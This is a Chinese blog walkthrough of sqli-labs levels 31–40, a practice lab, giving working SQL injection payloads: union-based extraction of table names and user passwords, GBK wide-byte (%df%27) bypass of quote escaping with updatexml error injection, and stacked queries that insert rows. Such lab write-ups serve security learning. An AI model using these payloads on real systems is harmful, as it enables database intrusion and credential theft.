sqli-labs-master/Less-31~Less-40

发布于:2025-08-06 ⋅ 阅读:(13) ⋅ 点赞:(0)

Less-31

这一关,先试闭合

?id=1")--+

页面正常说明使用双引号括号闭合的

那我们直接爆库 

?id=-1")union select 1,database(),3--+

有了库名接下来我们爆表

?id=-1")union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

 接下来爆表

?id=-1")union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

然后爆字段

?id=-1")union select 1,group_concat(id,'~',username,'~',password),3 from users --+

完成。

Less-32

这一关他将我们的单引号转义了,这关就是单引号闭合的,如果没有单引号我们是没有办法做的

那怎么绕过呢?这就需要知道他将我们输入的单引号转义成了什么,通过查看他将单引号转移成了

\'。

为啥转义成\'就不能闭合了明明单引号还在?

在SQL中, \' (反斜杠+单引号)会被当作字符串的一部分,核心原因是反斜杠( \ )的“转义作用”——它将单引号从“语法符号”变成了“普通字符”,让SQL解析器不再将其视为字符串的边界。
具体来说:
SQL语句中,单引号( ' )的默认作用是标识字符串的开始或结束(即边界)。例如:
SELECT * FROM users WHERE name = 'zhangsan'
这里的两个单引号是边界,中间的 zhangsan 是字符串内容。
如果用户输入包含单引号(比如 user'123 ),不处理的话会破坏语法:
SELECT * FROM users WHERE name = 'user'123'  -- 语法错误(多了一个单引号)
为了避免这种情况,程序会用反斜杠( \ )对单引号进行转义,转义后单引号变成 \' 。此时,SQL解析器会将 \ 视为“转义符”,理解为:“后面的单引号不是边界,而是字符串里的一个普通字符”。
例如,输入 user'123 被转义为 user\'123 ,SQL语句变为:
SELECT * FROM users WHERE name = 'user\'123'
此时,解析器会把 user'123 整体当作字符串内容(单引号被当作普通字符),语法正确,避免了注入。
简单说: \ 的作用是“告诉SQL解析器:后面的单引号不是边界,只是个普通字符”,因此 \' 会被当作字符串的一部分处理。

那怎么绕过呢?

宽字节注入的绕过原理
宽字节注入的核心是利用字符编码转换,抵消反斜杠的转义作用。具体场景如下:
- 应用程序使用宽字节编码(如GBK,每个字符占2字节)存储数据。
- 转义时,反斜杠( \ )在ASCII编码中是单字节(十六进制  0x5C )。
当用户输入一个高字节字符(如  0xBF )时,应用程序在将输入转换为宽字节编码时,会将  0xBF  与后面的反斜杠  0x5C  合并为一个GBK字符( 0xBFC5  是一个合法的GBK字符)。此时,反斜杠被“消耗”,原本被转义的单引号  \'  会恢复为  ' ,从而重新具备破坏SQL语句的能力。
例如:
- 用户输入  %BF' ( %BF  是  0xBF  的URL编码)。
- 转义后变为  %BF\' (即  0xBF 0x5C 0x27 )。
- 宽字节编码转换时, 0xBF  与  0x5C  合并为一个字符,剩余  0x27 (单引号),导致SQL语句被注入:
 SELECT * FROM users WHERE username = '�' OR ... ( �  是合并后的宽字节字符,单引号恢复作用)。
总结
单引号被转义为  \'  是应用程序的安全防护机制,目的是将单引号从语法符号转为普通字符;而宽字节注入通过编码特性“吃掉”反斜杠,使单引号恢复语法作用,从而绕过防护。

知道了这些我们再来做这道题

首先我们来爆库名,因为没有回显点所以我们用报错函数

?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+

下面爆表名,这里注意不能再用'security'了因为它的单引号也会被转义

?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

下面爆字段,同理

?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=(select table_schema from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+

 最后爆数据

?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+

Less-33

试了一下这一关也是宽字节注入,和上一关一模一样,直接参考就行

Less-34

这一关改成了post传参,但还是一样,因为post传参不显示在url上了,所以我们直接抓包做就好了

不在输入框输入我们拼接的语句是因为它会将我们的语句编码

爆库

%df' or updatexml(1,concat(0x7e,(database()),0x7e),1)#

下面我就不说了

Less-35

这一关发现不需要闭合,它是一个数字型的,我们的语句会直接生效,数字型闭合宽字节

那直接爆库

?id=1 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+

 爆表

?id=1 or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

?id=1 or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)),0x7e),1)--+

最后爆数据

?id=%df%27 or updatexml(1,concat(0x7e,(select group_concat(id) from security.users),0x7e),1)--+

 Less-36

这一关竟然和32一样宽字节注入

爆库

?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+

后面我就不写了

Less-37

 这一关又是一个post型宽字节注入,抓包报库

?id=%df%27 or updatexml(1,concat(0x7e,(database()),0x7e),1)--+

 后面参考34关

Less-38

用来练习一下堆叠注入上面关卡还没有用到过,堆叠注入就是拼接的语句后加上分号然后跟上增删改查的语句。

例如我们往进去插一条数据

?id=1' union select 1,2,3;insert into users (id,username,password) values(111,'2','3')--+

 看一下这条数据进去了没

?id=1' union select 1,(select group_concat(username, password) from users where id = 111),3 --+

 

以此类推。 

 Less-39

这一关数字型堆叠注入

?id=1 union select 1,(select group_concat(username, password) from users where id = 111),3 --+

和上一关一样。

Less-40

还是用堆叠注入单引号括号闭合

?id=-1') union select 1,(select group_concat(username, password) from users where id = 111),3 --+


网站公告

今日签到

点亮在社区的每一天
去签到